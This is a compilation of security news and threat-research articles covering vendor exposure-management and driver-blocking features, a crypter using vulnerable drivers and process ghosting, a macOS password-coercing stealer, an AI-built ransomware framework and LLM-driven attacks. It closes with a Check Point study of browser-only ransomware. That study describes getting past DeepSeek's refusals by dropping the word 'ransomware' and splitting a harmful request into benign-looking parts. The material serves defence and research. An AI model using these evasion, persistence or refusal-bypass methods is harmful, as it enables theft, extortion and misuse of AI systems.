Exposure management Organizations have blind spots beyond the firewall, and AI is accelerating how fast new vulnerabilities surface, with no clear sense of what to fix first. Fragmented tools amplify the problem, leaving teams exposed for longer than ever. Tanium is introducing two new exposure management capabilities that address this directly. Tanium’s External Attack Surface Management: This capability closes that gap by unifying real-time internet visibility from Censys to continuously discover an organization’s internet-facing assets, including hosts, services, web properties, and certificates, with endpoints to provide one continuously updated view of the full attack surface. Attack Path Mapping: Attack Path Mapping connects the dots between something exposed on the internet and what it can reach inside an organization’s network, showing the exact chain an attacker would follow to access the most sensitive systems. Instead of chasing every vulnerability equally, teams can see which single fix would shut down the most attack routes at once, prioritizing the fixes that get closest to an organization’s crown jewels. Tanium Endpoint Management is the connective tissue that turns these findings into confident, autonomous action. Because Tanium collects real-time intelligence from every endpoint, Exposure Management never scores risk in the abstract. Knowing where you are exposed is only part of the picture. When threats are already in motion, operators need the ability to hunt, validate and respond at the same speed attackers move. Security operations Tanium is introducing two new security operations capabilities: Agent-Guided Threat Hunting and the Tanium and Google Threat Intelligence integration. Proactive threat hunting is one of the most valuable things a security team can do, and one of the least done because it takes a rare kind of expert and hours of manual work per hunt. Agent-Guided Threat Hunting: Tanium Atlas changes the economics of proactive threat hunting. A hunter describes a hypothesis in plain language, and Tanium Atlas runs the hunt autonomously across the estate, reasoning over live endpoint data, choosing the right tool for the question, and mapping what it finds to MITRE ATT&CK. Tanium and Google Threat Intelligence integration (private preview): A hypothesis often starts with intel, and that’s where Tanium and Google Threat Intelligence comes in. SecOps teams buy threat intel, but the hard part is knowing whether a threat is live in your environment, and stopping it before it spreads. The intelligence gained from Mandiant’s frontline expertise, VirusTotal’s crowdsourced data and Google’s vast visibility is now incorporated with Tanium’s real-time visibility and control across more than 36 million endpoints worldwide, so hunts and triage start from a higher-confidence signal, and analysts spend less time chasing false positives. This integrated offering can quickly take a hunter from intel to live hunt to fleet-wide action. “Effective security operations require both high-fidelity intelligence and the ability to act on it instantly,” said Miton Adhikari, head of Google Security OEM Partnerships at Google. “By incorporating Google Threat Intelligence into Tanium’s real-time visibility and control across endpoints, Tanium operators can validate signals against what’s actually running in their environment and rapidly move from intel to remediation, at scale.” The capabilities Tanium is introducing share a single foundation: Tanium Atlas, the autonomous operating system that connects external exposure, endpoint intelligence and security operations into one governed, auditable experience. For IT and security operators facing an AI-accelerated threat landscape, that foundation is what makes autonomous security possible, not by removing humans from the loop, but by giving each operator the reach and speed to stay ahead of it, safely.

Elastic Defend now covers 800+ vulnerable drivers, with automated troubleshooting and ARM support Attackers reaching for kernel access on a Windows machine bring a driver Microsoft already trusts. It is signed, it loads, and it carries a known flaw. That flaw gives them enough room to tamper with memory or disable the security software watching the host. Once an attacker holds that level of access, the tools on the machine stop reliably protecting it. Ransomware crews run the technique as a step before they deploy a payload, a move that began as tradecraft mostly reserved for advanced state actors and red teams. Where the rules come from “To close this gap, Elastic Security Labs Threat Command, Elastic’s security research team now continuously monitors public vulnerable driver disclosure sources, including VirusTotal, the LOLDrivers catalog, and Microsoft’s Vulnerable Driver Block List, and automatically generates and instantly deploys detection rules,” Elastic Security Labs explained. No single source catches everything. The system checks all three, filters out drivers Elastic already covers, and builds rules from the driver’s digital signature and file characteristics. Automated YARA rule generation workflow (Source: Elastic Security Labs) Elastic Security Labs has published vulnerable driver coverage for years. This automated process started in 2023 with 65 rules. The library covers more than 800 known vulnerable drivers, and the number keeps growing. The delay is the technique A vulnerable driver becomes public knowledge and attackers know about it the same day. Vendor coverage can take an entire product release to arrive. That window is what BYOVD depends on. Elastic decoupled this coverage from its release cycle. A driver flagged in one of the three feeds becomes a driver Elastic Defend recognizes, with no update or setting change on the customer side. One driver, two campaigns Avast’s signed anti-rootkit driver, aswArPot.sys, gave attackers a way to terminate protected processes from the kernel. It surfaced in Cuba ransomware intrusions and in GHOSTENGINE campaigns. What a defender has to check The rules ship through Elastic Security’s malware protection. Elastic recommends enabling it and setting it to Prevent. Signature coverage is one layer. Elastic Defend validates drivers against a blocklist before they are allowed to load, and it flags a driver the moment it appears in an environment for the first time. A driver built to slip past one of those layers still has to clear the others. Every generated rule is public. The elastic/protections-artifacts repository carries them alongside the rest of the company’s detection content, so a team can see which driver triggered a rule, which source flagged it, and the detection logic itself. Two other changes Elastic Agent Builder carries automatic troubleshooting as a skill. It covers third-party antivirus conflicts, policy application failures, and the errors that send analysts into logs for hours, and it returns a root cause, the commands to run, and the data to collect. The existing automatic troubleshooting feature stays in place. Elastic Defend also runs on Windows on ARM. Snapdragon laptops, Copilot+ PCs, and ARM workstations enroll under existing policies and report the same telemetry as x64 endpoints, and devices added to a fleet enroll automatically. Signature rules cover the drivers someone has already reported. The layer that flags a driver on its first appearance covers the ones nobody has reported yet.

A crypter service used by multiple unrelated cyber-criminal groups has been documented cloaking commodity malware with process ghosting, kernel-driver abuse and more than 90 mix-and-match encryption routines. According to new research from Proofpoint published on July 20, the crypter, marketed as Cruciferra, was first offered for sale on the Exploit forum in autumn 2025 and now underpins dozens of campaigns delivering AsyncRAT, Agent Tesla, Remcos, XWorm, ValleyRAT and Snake Keylogger. Tiered access runs from $450 to $2,000 a month. Proofpoint identified both production and apparent testing samples, suggesting active development. On dark web forums, Cruciferra calls itself “the underground's most lethal crypter.” Kernel Drivers and Custom Cryptography In the observed campaigns, Proofpoint said Cruciferra always executed through DLL side-loading. Victims received a ZIP pairing a legitimate executable with a malicious DLL. Running the executable side-loaded the DLL, which inspected the environment before dropping the payload. The DLL contained hundreds of decoy exported functions pointing to junk code, with only one or two calling into the real routine. Before executing, the crypter unhooked endpoint detection and response (EDR) monitoring at multiple levels. It patched the Import Address Table, read a clean copy of ntdll.dll to source indirect syscalls, and disabled kernel-level telemetry by loading a vulnerable signed driver such as GoFlyDrv.sys, then issuing IOCTL commands to terminate security processes. This bring-your-own-vulnerable-driver (BYOVD) approach mirrors techniques seen in the GentleKiller framework, which the Gentlemen ransomware gang distributes to affiliates. Payloads sat in the binary's .reloc section and were unpacked using one of over 90 encryption routines, each assembled from parts of established algorithms including Keccak, Threefish and Feistel variants, so the cipher covering one sample rarely matched the next. Process Ghosting With Kernel Anti-Peek For the final execution step, Cruciferra employed a modified form of process ghosting. The classic technique creates a temporary file marked for deletion, fills it with the payload, and uses it as the backing image for a suspended process, leaving a running process backed by a PE image that no longer exists on disk in scannable form. Cruciferra added two anti-inspection layers. It patched ZwQueryVirtualMemory so EDR queries against the ghosted memory returned a sanitized result, and neutered NtManageHotPatch, the kernel function that can validate a loaded image against its on-disk counterpart. Proofpoint attributed multiple campaigns using the malware to the Chinese-speaking group TA4922, which used tax-themed lures impersonating the Indian Income Tax Department to deliver AsyncRAT via Cruciferra between late April and early June. Separate May campaigns spoofed the US Social Security Administration to deliver XWorm, and a late-June operation used bed-bug guest-complaint lures against hospitality organizations to drop zgRAT. Financial services accounted for 34% of observed targets, followed by healthcare at 25% and government at 10%, though Proofpoint characterized the targeting as opportunistic. The company said new Cruciferra-packed samples appeared on VirusTotal every few minutes on July 9.

A new macOS information-stealing malware dubbed ClickLock terminates all visible processes to force users into entering their system login password. The malware is designed to steal cryptocurrency assets, login credentials, password-manager data, browser information, and macOS authentication data, and it can also install a persistent backdoor for ongoing remote access to infected systems. Researchers at Group-IB analyzed the ClickLock shell script after discovering the malware on VirusTotal, where it was first submitted on June 9. At the time of the report, it remained undetected by all security vendors available on the platform. Further investigation revealed that the malicious script has infected at least 100 systems across 33 countries since May. The compromise likely begins via a ClickFix lure, as the researchers observed pastes of a malicious command in the Terminal that trigger a fake Cloudflare “human verification” sequence with an animated progress bar. At the same time, keyboard interrupts are disabled, the terminal cursor is hidden, and the stealer modules are downloaded in the background. The macOS NotificationCenter is also suppressed for about six hours, effectively disabling notifications that could expose the attack. Forcing password entry Group-IB researchers highlight that ClickLock does not require any exploits or elevated privileges but achieves its goal through social engineering and forced interaction loops. Operational success is obtained through the malware's mechanism for coercing the victims into entering their macOS system password. Group-IB says that the script initially displays a fake macOS password dialog using the victim’s real username and a downloaded Apple icon. If the user enters their password, the malware validates the data and exfiltrates it to the attacker via Telegram. In case the user cancels the dialog, the malware establishes persistence via two macOS LaunchAgents (com.authirity.plist, com.chromer.plist) and reloads at the next login. At the next activation, the password-stealing module runs a termination loop every 210 milliseconds, targeting key apps (e.g., Finder, Dock, Terminal, Activity Monitor, Console, System Settings, Spotlight, web browsers) and shows only a password dialog on the screen until the victim complies. Group-IB reports that the loop is configured to continue for 300,000 seconds (about 83 hours), or until the victim supplies a correct password. The second LaunchAgent runs a separate coercion mechanism that also terminates many of the mentioned system applications, requesting Keychain authorization via a legitimate system prompt, seeking approval to access Chrome’s Safe Storage key. That key could then be used to decrypt offline Chromium-stored passwords, cookies, and autofill information from stolen databases. This second mechanism has a repeat interval of 200 milliseconds and is configured to last for nearly 35 days (3 million seconds). ClickLock also deploys a data-harvesting module, which targets the following: Data from eight browsers: Chrome, Firefox, Brave, Edge, Opera, Vivaldi, Arc, and Chromium Saved logins, cookies, autofill data, bookmarks, local storage, and session storage Cryptocurrency wallet extensions and desktop wallet files Encrypted wallet vault material for potential offline cracking Password-manager extension data Cached cryptocurrency addresses across EVM, Bitcoin, Solana, TRON, TON, and Stacks Shell histories FileZilla FTP configuration and recent-server data Basic system information and the public IP address The harvesting module packages the collected information and a summary log file into a ZIP archive, then uploads it via the Telegram Bot API. Files larger than 40 MB are split into smaller parts, while retry logic ensures that uploading resumes after temporary network failures. The final module is a modified version of the open-source tool GSocket that acts as a persistent backdoor for the attackers. The backdoor establishes persistence through multiple methods, including a LaunchAgent, crontab entries, and modifications to shell configuration files. It connects through a GSocket relay, allowing the attacker to open a reverse shell and remotely control the system. Unlike the other ClickLock modules that self-delete after execution, GSocket is the only component that persists on infected systems. Group-IB warns that "malware leaves a narrow detection window" and that the malicious payloads are hosted on compromised legitimate domains with a clean reputation. Additionally, the script is not flagged as malicious on VirusTotal, and its modules self-delete after execution, leaving no artifacts. Despite this, the researchers say that detection is possible based on the activity generated by the malware, such as osascript launching password dialogs, repeated process termination, mass access to browser profile directories, and outbound connections to Telegram's API. To defend against these attacks, users should avoid pasting in Terminal commands they don't fully understand, especially if the request comes from a website. "Any page that instructs you to open Terminal, regardless of how professional it looks, is attempting to compromise your system," the researchers say. If prompted to enter the login password when the rest of the system appears unresponsive, Group-IB recommends forcing a system shutdown by holding the power button and then booting into Safe Mode to recover the system. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Cybersecurity researchers have discovered a previously undocumented modular malware framework codenamed Avalon that's distributed by means of a multi-stage phishing chain capable of bypassing traditional security controls. Avalon combines credential collection, lateral movement, remote access, recovery disruption, and ransomware execution, bringing together diverse functions under one umbrella. The ransomware component has been internally named CrownX. "The attack began with a spoofed legal document email directing recipients to a password protected archive on Proton Drive," Blackpoint Cyber researchers Nevan Beal and Sam Decker said. "Malicious content was embedded inside an ISO image rather than attached directly, reducing the likelihood of detection at the email layer." Should the email recipient interact with a document-themed Windows Shortcut ("Secure Document CA-283505.pdf.lnk") inside the mounted image, it triggers a staged malware sequence that culminates in the deployment of Avalon. Specifically, the shortcut runs a command to launch an MSBuild project located in the ISO image. The MSBuild project, for its part, loads an embedded .NET assembly, which then interferes with the regular functioning of Event Tracing for Windows (ETW) to reduce forensic visibility and download a next-stage payload over HTTPS responsible for launching Avalon. The malware framework boasts of an extensive defense evasion subsystem that aims to evade detection, while incorporating specific methods to conceal execution from security tools associated with Microsoft Defender, SentinelOne, CrowdStrike, Sophos, Elastic Endpoint, FortiEDR, ESET, McAfee, and Bitdefender. "These capabilities give the framework a multitude of ways to reduce telemetry, bypass user mode monitoring, and adjust its execution depending on the defensive controls present on the host," the researchers said. The complete set of features built into Avalon is as follows - Harvest credentials, cookies, history, and bookmarks from Chromium-based browsers and Mozilla Firefox. Gather data from cryptocurrency wallet apps like MetaMask, Phantom, Coinbase Wallet, Exodus, Electrum, Atomic Wallet, Ledger Live, and Bitcoin Core, along with Discord, Slack, Teams, OpenVPN, WireGuard, and Windows Credential Manager. Collect details about SSH known hosts, saved RDP connections, Wi-Fi profiles, and Group Policy Preferences cpassword artifacts. Exfiltrate data to a remote server ("helloxcherry[.]com") and poll the server for receiving tasking commands. Perform reconnaissance and prioritize systems that can expand the scope of the compromise. Encrypt files associated with business operations, software development, engineering, data storage, and virtual infrastructure using Windows Cryptography API and deliver a ransom note containing payment instructions and deadline timers that show how much time is left before the ransom amount is increased. Inhibit system recovery by terminating the Volume Shadow Copy Service and deleting shadow copies. Remove traces of artifacts using an anti-forensic cleanup subsystem to complicate incident response efforts. Directly interact with disk structures likely in an effort to damage partition information, boot records, or other critical areas of the drive, effectively rendering the system unusable. "CrownX represented the final extortion stage, but the damage extended well beyond the encryption itself," the company said. "By the time the ransom note appeared, the broader framework had already collected credentials, established C2 communications, prepared multiple paths for lateral movement, and weakened local recovery options." Another important detail is that Avalon shows signs of artificial intelligence (AI)-assisted development, one that has assembled multiple components with scant regard for sophisticated tradecraft or operational security, something that requires significant expertise to build. The findings are yet another sign of how AI can lower the barrier to entry, making malware development more accessible with little time and effort, and even allowing actors with little technical expertise and resources to come up with tools that may require extensive development effort. In other words, the presence of a certain capability is no longer a reliable indicator of a threat actor's sophistication or operational maturity. "The kill chain illustrates how a familiar business lure can progress into a reusable, multi-capability framework designed to harvest credentials, retrieve subsequent payloads entirely in memory, and stage multiple follow-on actions from a single compromised endpoint," Blackpoint Cyber said. LLM Behind an Agentic Ransomware Attack The disclosure comes as Sysdig detailed what it said was the first publicly documented agentic ransomware infection driven by a large language model from start to finish, while retrying and tweaking its actions in real-time to complete tasks. The agentic threat actor (ATA) behind the operation has been codenamed JADEPUFFER. The operator "gained initial access to an internet-facing Langflow instance through CVE-2025-3248 and ran an adaptive and fully automated campaign, ultimately pivoting to the intended target and running a destructive database-extortion playbook against the victim's production database server," Sysdig's Michael Clark said. "The skill floor for running ransomware has dropped to whatever it costs to run an agent, and if that agent is running on stolen credentials through LLMjacking, the cost to an attacker is close to zero." AI Malware That Uses LLM in a Codeless Attack The findings also follow the discovery of an AI malware that brings together a Telegram bot with a public LLM API to devise a codeless attack. Once launched, the implant transmits basic details about the compromised system to the attacker's Telegram bot and enters into a command-and-control (C2) loop that polls the bot API every 5 seconds for new messages. The results of the command execution are exfiltrated back using the same channel. The speciality of this malware is that each operator message is forwarded to a public LLM API endpoint ("api.groq[.]com/openai/v1/chat/completions"), which then translates the natural language instructions provided by the attacker into its equivalent shell command. The artifact was uploaded to the VirusTotal platform on March 11, 2026, and has zero detections across all engines to date. "This work introduces an LLM translation layer that replaces shell syntax with plain text. The attacker types plaintext instructions in Telegram," Palo Alto Networks Unit 42 said. "The LLM translates the instructions into shell commands. And the victim executes the shell commands. No command-line knowledge is required."

Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique July 1, 2026 Research by: Alexey Bukhteyev Key Takeaways AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns. In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories. The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome. The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android. Introduction Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code. As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude. DeepSeek then becomes particularly relevant in this context for several reasons: Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article. Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation. End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components. Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeekmodels can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms. Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser. The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application. The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity. A Noisy Sample With One Important Idea The sample that caught our attention is SHA256 07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel. We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser. The victim-facing page is disguised as a Discord avatar AI upscaler: Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data. Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model. In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt. Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential. The generated JavaScript referenced: showOpenFilePicker(); showDirectoryPicker(); recursive traversal of a user-selected directory; reading selected files through browser file handles; sending file contents to the Flask backend; displaying a ransomware-style warning after the interaction. The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls. The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments. The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files. The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential. Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons: The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions. Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful. Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows. From Hallucinated Scaffold to Working PoC Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept. When prompted directly to create ransomware, the model consistently refused across all tested modes. Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content. In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files. In Expert mode, the behavior was inconsistent across attempts: several attempts ended in refusal; one generated a non-functional sample; one generated a fully working browser-based ransomware PoC. One response was especially notable because the model described the result as: “a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors” This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation. For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API. This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually. In-Browser Ransomware on Android To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler. On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers. At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for. However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application. On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory. On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder. The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory. Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API. The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access. Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data. Practical Recommendations for Users While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse: Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request. Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library. Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation. Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques. Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access. Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files. Conclusion LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration. This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic. Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique. In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API. This illustrates a broader risk: A non-expert attacker does not need to know that such an API exists or how to abuse it. By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities. The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing. In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild. Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized. At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible. “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

